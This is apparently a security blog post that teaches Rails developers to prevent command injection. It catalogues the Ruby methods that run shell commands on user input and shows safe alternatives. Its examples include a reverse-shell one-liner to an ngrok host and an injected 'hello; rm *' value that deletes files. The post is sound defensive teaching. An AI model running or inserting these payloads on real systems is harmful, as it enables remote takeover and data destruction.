Michael Lubas, 2025-03-14
In the taxonomy of security vulnerabilities, remote code execution (RCE) typically ranks as the most severe. A web application that is vulnerable to RCE can be exploited by an attacker, who gets the equivalent of production SSH access to the underlying web server. With this level of access the bad guy can:
Command injection is a type of RCE vulnerability where user input is being passed as a command to the underlying server’s shell, for example bash. A typical proof of concept for this vulnerability involves an HTTP request that runs a command on the server:
GET
https://blackcatprojects.xyz/code?=ls
Server Response:
200 OK
{"resp":"bin\ncores\ndev\nw\tmp\nuser\nvar"}
Hopefully it is clear by this point why this is such a severe problem. In a pentest report this finding would be ranked as “critical, fix now” because bots are constantly scanning all servers on the public internet, looking for severs that can be hacked into. If you’re thinking “Ok you can run a shell command like ls
, but how would a bad guy actually connect to the server?”, the workflow for the attack in this situation is:
"bash -i >& /dev/tcp/6.tcp.ngrok.io/15899 0>&1"
Command Injection in Rails
Now that you understand why command injection is such a serious problem, let’s learn how to prevent it in your Ruby on Rails projects. There are several Ruby methods explicitly for running system commands:
1. `command`: Returns the standard output of running command in a subshell.
2. %x(echo 1) - Alternate syntax for backtick literal, https://docs.ruby-lang.org/en/3.4/syntax/literals_rdoc.html#label-25x-3A+Backtick+Literals
3. exec(user_input)
4. spawn(user_input)
5. system(user_input)
The official Rails Security Guide mentions that there is a “safe” way to pass user input to these methods:
user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory
# A countermeasure is to use the system(command, parameters) method which passes command line parameters safely.
system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files
Depending on the command line program you are running this can still be dangerous. There are so many possible ways this can go wrong I want to emphasize the point that you should avoid passing user input to these Kernel methods when possible.
There are additional Ruby methods that have a security quirk of executing an OS command if the argument starts with a vertical bar:
@ rtest % irb
irb(main):001> open("| touch hi.txt")
@ rtest % ls
hi.txt
So even if you are avoiding methods designed to execute shell commands, you still need to watch out for:
1. open
1. Open3.capture2
2. Open3.capture2e
3. Open3.capture3
4. Open3.pipeline
5. Open3.pipeline_r
6. Open3.pipeline_rw
7. Open3.pipeline_start
8. Open3.pipeline_w
9. Open3.popen2
10. Open3.popen2e
11. Open3.popen3
1. IO.binread
2. IO.binwrite
3. IO.foreach
4. IO.popen
5. IO.read
6. IO.readlines
7. IO.write
The File methods are considered a secure alternative to IO because they do not have this problem:
Not vulnerable to command injection
irb(main):001> File.open("| touch file.txt")
(irb):1:in 'File#initialize': No such file or directory @ rb_sysopen - | touch file.txt (Errno::ENOENT)
URI#open also has this behavior:
irb(main):001> require "open-uri"
=> true
# Not secure
irb(main):002> URI.open("| touch uri.txt")
=> #<IO:fd 6>
# This way is safe
irb(main):003> URI("|touch uri.txt").open
...rfc3986_parser.rb:130:in 'URI::RFC3986_Parser#split': bad URI (is not URI?): "|touch uri.txt" (URI::InvalidURIError)
Some miscellaneous methods that are not safe to pass user input to:
1. PTY.getpty
2. PTY.spawn
1. Process.exec
2. Process.spawn
Finally there are various Ruby metaprogramming methods where user input should not be passed in as a string:
1. eval
2. instance_eval
3. class_eval
4. module_eval
irb(main):014> eval("1+2")
=> 3
irb(main):015> instance_eval("1+2")
=> 3
irb(main):016* class Thing
irb(main):017> end
=> nil
irb(main):018> Thing.class_eval("1+2")
=> 3
irb(main):019> Thing.module_eval("1+2")
=> 3
While not a unix command, allowing an attacker to execute arbitrary Ruby code leads to the same vulnerability.
If you are working on a Rails application where security is important, for example a patient medical portal or banking service, it would be a good idea to simply ban the methods listed here from your codebase. Command injection is an extremely dangerous vulnerability, so if you can achieve your goals without using these methods, that eliminates a major source of risk.
There are additional ways a Rails application can be vulnerable to RCE, such as via insecure send
or via insecure deserialization such as Marshal.load
. Those will be covered in a future article. My goal here is to catalogue all the Ruby methods that lead to command injection when user input is passed as an argument. If I’ve missed any please let me know: michael at paraxial.io
Further Reading
Ruby Documentation, Command Injection
Rails Documentation, Command Line Injection
Lab
Gem Shop, the intentionally vulnerable Rails 8 project for security education, is vulnerable to command injection. See if you can find it!
Paraxial.io stops data breaches by helping developers ship secure applications. Get a demo or start for free.
Subscribe to stay up to date on new posts.